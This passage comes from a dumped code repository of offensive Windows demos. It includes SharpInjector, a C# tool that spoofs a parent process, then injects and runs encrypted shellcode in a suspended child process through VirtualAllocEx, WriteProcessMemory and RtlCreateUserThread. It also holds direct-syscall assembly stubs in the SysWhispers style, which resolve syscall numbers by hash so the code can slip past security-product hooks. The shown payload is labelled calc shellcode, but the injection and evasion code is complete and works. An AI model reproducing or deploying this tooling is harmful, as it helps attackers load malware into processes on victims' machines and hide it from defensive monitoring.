Process.GetProcessesByName(ParentName)[0]; Console.WriteLine($"[*] Found parent process: {ParentProcess.ProcessName} (pid: {ParentProcess.Id})"); IntPtr ParentHandle = WinAPI.OpenProcess(WinAPI.ProcessAccessFlags.PROCESS_CREATE_PROCESS | WinAPI.ProcessAccessFlags.PROCESS_DUP_HANDLE, false, ParentProcess.Id); IntPtr lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(lpValueProc, ParentHandle); WinAPI.UpdateProcThreadAttribute(StartupInfoEx.lpAttributeList, 0, (IntPtr)WinAPI.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); WinAPI.SECURITY_ATTRIBUTES ps = new WinAPI.SECURITY_ATTRIBUTES(); WinAPI.SECURITY_ATTRIBUTES ts = new WinAPI.SECURITY_ATTRIBUTES(); ps.nLength = Marshal.SizeOf(ps); ts.nLength = Marshal.SizeOf(ts); IntPtr bytesWritten = IntPtr.Zero; WinAPI.PROCESS_INFORMATION ProcessInfo = new WinAPI.PROCESS_INFORMATION(); bool success = WinAPI.CreateProcess( ProgramPath, null, ref ps, ref ts, true, WinAPI.ProcessCreationFlags.CREATE_SUSPENDED | WinAPI.ProcessCreationFlags.CREATE_NO_WINDOW | WinAPI.ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref StartupInfoEx, out ProcessInfo); if (ProcessInfo.hProcess == IntPtr.Zero) { return; } Console.WriteLine($"[*] Spwaned new instance of {ProgramPath} (pid: {ProcessInfo.dwProcessId})"); Process Target = Process.GetProcessById((int)ProcessInfo.dwProcessId); Console.WriteLine("[*] Allocating shellcode..."); IntPtr Address = WinAPI.VirtualAllocEx(Target.Handle, IntPtr.Zero, Shellcode.Length, WinAPI.MEM_COMMIT, WinAPI.PAGE_READWRITE); if (Address == IntPtr.Zero) { WinAPI.TerminateProcess(ProcessInfo.hProcess, 0); return; } if (!WinAPI.WriteProcessMemory(ProcessInfo.hProcess, Address, Shellcode, Shellcode.Length, out bytesWritten)) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } if (!WinAPI.VirtualProtectEx(ProcessInfo.hProcess, Address, Shellcode.Length, WinAPI.PAGE_EXECUTE_READ, out uint OldProtect)) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } IntPtr hThread; UInt32 ClientId; Console.WriteLine("[*] Calling RtlCreateUserThread..."); WinAPI.RtlCreateUserThread(ProcessInfo.hProcess, 0, false, 0, 0, 0, Address, 0, IntPtr.Zero, out hThread, out ClientId); WinAPI.CloseHandle(ParentHandle); Console.WriteLine("[*] Shellcode executed"); } } } ================================================ FILE: demo3/SharpInjector-master/SharpInjector/SharpInjector.csproj ================================================  Debug AnyCPU {4744C438-5A65-4EC7-89BD-2A027531B2B0} Exe SharpInjector SharpInjector v4.7.2 512 true true AnyCPU true full false bin\Debug\ DEBUG;TRACE prompt 4 AnyCPU pdbonly true bin\Release\ TRACE prompt 4 true bin\x64\Debug\ DEBUG;TRACE full x64 7.3 prompt MinimumRecommendedRules.ruleset true bin\x64\Release\ TRACE true pdbonly x64 7.3 prompt MinimumRecommendedRules.ruleset true True True Resource1.resx ResXFileCodeGenerator Resource1.Designer.cs ================================================ FILE: demo3/SharpInjector-master/SharpInjector/Shellycode.cs ================================================ namespace SharpInjector { class EncryptedShellcode { // Example calc shellcode public string EncSc = "ypmx+PYrXoQ1YvU5yd8SfBK8GHSWQGxOXW298HKAnHSbW4jSmhjl38UOgVcUvfTEuBLFDn6FD1Bp9mjBLzcY9NZ7BW2bT3Z1WCWhdFe2by2qcFstu6M3d7Fx8bnM87Sk/b1x4UhrQEETW+O9v3YrNlUGjhG4Bcl3J1dojIEt9m9qPWz/VyU6KMufhwH18jgO0I/0tXYlj8bbV/zPKmNFSLb1v4WH/xn2+ON6YwCNDupduM5dQRBzZWNI2cDTxqA8/fmUECTQfxQnf7cjooCQ78U9i2T2B5MrrBMTOnIIHpRwb4rzruJHIA40DpuPLHi2w2wMEWlL2LT8X+09Rqd1jLdciC/PligV9N4tatz4h1g865LhnZKZ1inRTueMTNdfoKOPZZHb1/WB0JnQz4SwbmJygty9eqw0gL7bzb8a6gQC1qGCQpjzx4SRKAexgyM/7hRIc7Opy+Tr/91rNO6om3iWM0JSd+ze/+ttjweJCFbv5EP5rd4VMnq9Y7xJg8Cq"; } } ================================================ FILE: demo3/SharpInjector-master/SharpInjector/WinAPI.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Runtime.InteropServices; namespace SharpInjector { class WinAPI { public static readonly UInt32 MEM_COMMIT = 0x1000; public static readonly UInt32 MEM_RESERVE = 0x2000; public static readonly UInt32 PAGE_EXECUTE_READ = 0x20; public static readonly UInt32 PAGE_READWRITE = 0x04; public static readonly UInt32 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; public static readonly UInt32 SW_HIDE = 0x0000; public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } public struct SECURITY_ATTRIBUTES { public int nLength; public IntPtr lpSecurityDescriptor; [MarshalAs(UnmanagedType.Bool)] public bool bInheritHandle; } public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } public struct STARTUPINFOEX { public STARTUPINFO StartupInfo; public IntPtr lpAttributeList; } public enum StartupInfoFlags : uint { STARTF_USESHOWWINDOW = 0x00000001, STARTF_USESTDHANDLES = 0x00000100 } public enum ProcessCreationFlags : uint { CREATE_NO_WINDOW = 0x08000000, CREATE_SUSPENDED = 0x00000004, EXTENDED_STARTUPINFO_PRESENT = 0x00080000 } public enum ProcessAccessFlags : uint { PROCESS_CREATE_PROCESS = 0x0080, PROCESS_DUP_HANDLE = 0x0040 } public enum FreeType : uint { MEM_DECOMMIT = 0x4000, MEM_RELEASE = 0x8000, } public enum ThreadAccess : int { SET_CONTEXT = 0x0010 } [DllImport("kernel32.dll")] public static extern bool CloseHandle( IntPtr hObject ); [DllImport("kernel32.dll")] public static extern IntPtr ConvertThreadToFiber( IntPtr lpParameter); [DllImport("kernel32.dll")] public static extern IntPtr CreateFiber( uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter); [DllImport("kernel32.dll")] public static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread( IntPtr lpThreadSecurityAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread( IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThreadEx( IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpAttributeList, IntPtr lpThreadId); [DllImport("ntdll.dll")] public static extern IntPtr EtwpCreateEtwThread( IntPtr lpStartAddress, IntPtr lpParameter); [DllImport("kernel32.dll")] public static extern bool InitializeProcThreadAttributeList( IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess( ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll")] public static extern IntPtr OpenThread( ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId); [DllImport("kernel32.dll")] public static extern IntPtr QueueUserAPC( IntPtr pfnAPC, IntPtr hThread, IntPtr dwData ); [DllImport("kernel32.dll")] public static extern uint ResumeThread( IntPtr hThread); [DllImport("kernel32.dll", EntryPoint = "RtlMoveMemory")] public static extern void RtlCopyMemory( IntPtr Destination, IntPtr Source, Int32 length); [DllImport("ntdll.dll")] public static extern long RtlCreateUserThread( IntPtr hProcess, UInt32 SecurityDescriptor, bool CreateSuspended, ulong StackZeroBits, UInt32 StackReserved, UInt32 StackCommit, IntPtr StartAddress, UInt32 StartParameter, IntPtr Destination, out IntPtr hThread, out UInt32 ClientID); [DllImport("kernel32.dll")] public static extern void SwitchToFiber( IntPtr lpFiber); [DllImport("kernel32.dll")] public static extern bool TerminateProcess( IntPtr hProcess, uint uExitCode); [DllImport("kernel32.dll")] public static extern bool UpdateProcThreadAttribute( IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc( IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx( IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll")] public static extern bool VirtualFree( IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType); [DllImport("kernel32.dll")] public static extern bool VirtualFreeEx( IntPtr hProcess, IntPtr lpAddress, int dwSize, FreeType dwFreeType); [DllImport("kernel32.dll")] public static extern bool VirtualProtect( IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll")] public static extern bool VirtualProtectEx( IntPtr handle, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll")] public static extern UInt32 WaitForSingleObject( IntPtr hHandle, uint dwMilliseconds); [DllImport("kernel32.dll")] public static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberofBytesWritten); public static void Clean(IntPtr hprocess, IntPtr address, int length) { VirtualFreeEx(hprocess, address, length, WinAPI.FreeType.MEM_RELEASE); TerminateProcess(hprocess, 0); } } } ================================================ FILE: demo3/SharpInjector-master/SharpInjector.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.29905.134 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpInjector", "SharpInjector\SharpInjector.csproj", "{4744C438-5A65-4EC7-89BD-2A027531B2B0}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ScEncryptor", "ScEncryptor\ScEncryptor.csproj", "{27780A45-FC10-4E68-A461-FCCEAF2D1BD6}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution All|Any CPU = All|Any CPU All|x64 = All|x64 Debug|Any CPU = Debug|Any CPU Debug|x64 = Debug|x64 Release|Any CPU = Release|Any CPU Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {4744C438-5A65-4EC7-89BD-2A027531B2B0}.All|Any CPU.ActiveCfg = Release|Any CPU {4744C438-5A65-4EC7-89BD-2A027531B2B0}.All|Any CPU.Build.0 = Release|Any CPU {4744C438-5A65-4EC7-89BD-2A027531B2B0}.All|x64.ActiveCfg = Release|x64 {4744C438-5A65-4EC7-89BD-2A027531B2B0}.All|x64.Build.0 = Release|x64 {4744C438-5A65-4EC7-89BD-2A027531B2B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {4744C438-5A65-4EC7-89BD-2A027531B2B0}.Debug|Any CPU.Build.0 = Debug|Any CPU {4744C438-5A65-4EC7-89BD-2A027531B2B0}.Debug|x64.ActiveCfg = Debug|x64 {4744C438-5A65-4EC7-89BD-2A027531B2B0}.Debug|x64.Build.0 = Debug|x64 {4744C438-5A65-4EC7-89BD-2A027531B2B0}.Release|Any CPU.ActiveCfg = Release|Any CPU {4744C438-5A65-4EC7-89BD-2A027531B2B0}.Release|Any CPU.Build.0 = Release|Any CPU {4744C438-5A65-4EC7-89BD-2A027531B2B0}.Release|x64.ActiveCfg = Release|x64 {4744C438-5A65-4EC7-89BD-2A027531B2B0}.Release|x64.Build.0 = Release|x64 {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.All|Any CPU.ActiveCfg = Release|Any CPU {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.All|Any CPU.Build.0 = Release|Any CPU {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.All|x64.ActiveCfg = Release|Any CPU {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.All|x64.Build.0 = Release|Any CPU {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Debug|Any CPU.Build.0 = Debug|Any CPU {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Debug|x64.ActiveCfg = Debug|Any CPU {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Debug|x64.Build.0 = Debug|Any CPU {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Release|Any CPU.ActiveCfg = Release|Any CPU {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Release|Any CPU.Build.0 = Release|Any CPU {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Release|x64.ActiveCfg = Release|Any CPU {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Release|x64.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {582509EF-455C-4D56-B480-B8FF737B9395} EndGlobalSection EndGlobal ================================================ FILE: demo4/syscall/syscall/Syscall.asm ================================================ .code SysNtCreateFile proc mov r10, rcx mov eax, 55h syscall ret SysNtCreateFile endp end ================================================ FILE: demo4/syscall/syscall/syscall.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 {9DF66DE1-4F6F-4257-96C8-E20E311FEA00} Win32Proj syscall 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode true true false false Level3 Disabled true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 Disabled true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 MaxSpeed true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 MaxSpeed true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Document ================================================ FILE: demo4/syscall/syscall/syscall.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Source Files ================================================ FILE: demo4/syscall/syscall/syscall.vcxproj.user ================================================  ================================================ FILE: demo4/syscall/syscall/syscall_call.cpp ================================================ #include #include "winternl.h" #pragma comment(lib, "ntdll") EXTERN_C NTSTATUS SysNtCreateFile( PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); int main() { FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile"); OBJECT_ATTRIBUTES oa; HANDLE fileHandle = NULL; NTSTATUS status = NULL; UNICODE_STRING fileName; IO_STATUS_BLOCK osb; RtlInitUnicodeString(&fileName, (PCWSTR)L"\\??\\c:\\temp\\test.txt"); ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK)); InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL); SysNtCreateFile( &fileHandle, FILE_GENERIC_WRITE, &oa, &osb, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); return 0; } ================================================ FILE: demo4/syscall/syscall/x64/Debug/syscall.exe.recipe ================================================  C:\Users\Admin\Desktop\20220617\syscall\x64\Debug\syscall.exe ================================================ FILE: demo4/syscall/syscall/x64/Debug/syscall.log ================================================  Assembling Syscall.asm... syscall.vcxproj -> C:\Users\Admin\Desktop\20220617\syscall\x64\Debug\syscall.exe ================================================ FILE: demo4/syscall/syscall/x64/Debug/syscall.tlog/syscall.lastbuildstate ================================================ PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.32.31326:TargetPlatformVersion=10.0.19041.0: Debug|x64|C:\Users\Admin\Desktop\20220617\syscall\| ================================================ FILE: demo4/syscall/syscall.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.28729.10 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "syscall", "syscall\syscall.vcxproj", "{9DF66DE1-4F6F-4257-96C8-E20E311FEA00}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {9DF66DE1-4F6F-4257-96C8-E20E311FEA00}.Debug|x64.ActiveCfg = Debug|x64 {9DF66DE1-4F6F-4257-96C8-E20E311FEA00}.Debug|x64.Build.0 = Debug|x64 {9DF66DE1-4F6F-4257-96C8-E20E311FEA00}.Debug|x86.ActiveCfg = Debug|Win32 {9DF66DE1-4F6F-4257-96C8-E20E311FEA00}.Debug|x86.Build.0 = Debug|Win32 {9DF66DE1-4F6F-4257-96C8-E20E311FEA00}.Release|x64.ActiveCfg = Release|x64 {9DF66DE1-4F6F-4257-96C8-E20E311FEA00}.Release|x64.Build.0 = Release|x64 {9DF66DE1-4F6F-4257-96C8-E20E311FEA00}.Release|x86.ActiveCfg = Release|Win32 {9DF66DE1-4F6F-4257-96C8-E20E311FEA00}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {DB6653FE-4439-4C94-BBE7-BF00CC5AE3F3} EndGlobalSection EndGlobal ================================================ FILE: demo5/syscall3/syscall3/1-asm.x64.asm ================================================ .code EXTERN SW3_GetSyscallNumber: PROC EXTERN SW3_GetSyscallAddress: PROC NtCreateProcess PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 0F5A717B7h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 0F5A717B7h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtCreateProcess ENDP NtCreateThreadEx PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 094AF2795h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 094AF2795h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtCreateThreadEx ENDP NtOpenProcess PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 04E2E47B4h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 04E2E47B4h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtOpenProcess ENDP NtOpenProcessToken PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 03DAF1132h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 03DAF1132h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtOpenProcessToken ENDP NtTestAlert PROC mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 00E94313Eh ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 00E94313Eh ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtTestAlert ENDP NtOpenThread PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 01838D296h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 01838D296h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtOpenThread ENDP NtSuspendProcess PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 0D31DF082h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 0D31DF082h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtSuspendProcess ENDP NtSuspendThread PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 09947D46Eh ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 09947D46Eh ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtSuspendThread ENDP NtResumeProcess PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 05DC3545Eh ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 05DC3545Eh ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtResumeProcess ENDP NtResumeThread PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 018BE9C9Fh ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 018BE9C9Fh ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtResumeThread ENDP NtGetContextThread PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 017304B00h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 017304B00h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtGetContextThread ENDP NtSetContextThread PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 0B0A8F400h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 0B0A8F400h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtSetContextThread ENDP NtClose PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 02DA5DAA8h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 02DA5DAA8h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtClose ENDP NtReadVirtualMemory PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 0105EDF09h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 0105EDF09h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtReadVirtualMemory ENDP NtWriteVirtualMemory PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 007950903h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 007950903h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtWriteVirtualMemory ENDP NtAllocateVirtualMemory PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 039913313h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 039913313h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtAllocateVirtualMemory ENDP NtProtectVirtualMemory PROC int 3 mov [rsp +8], 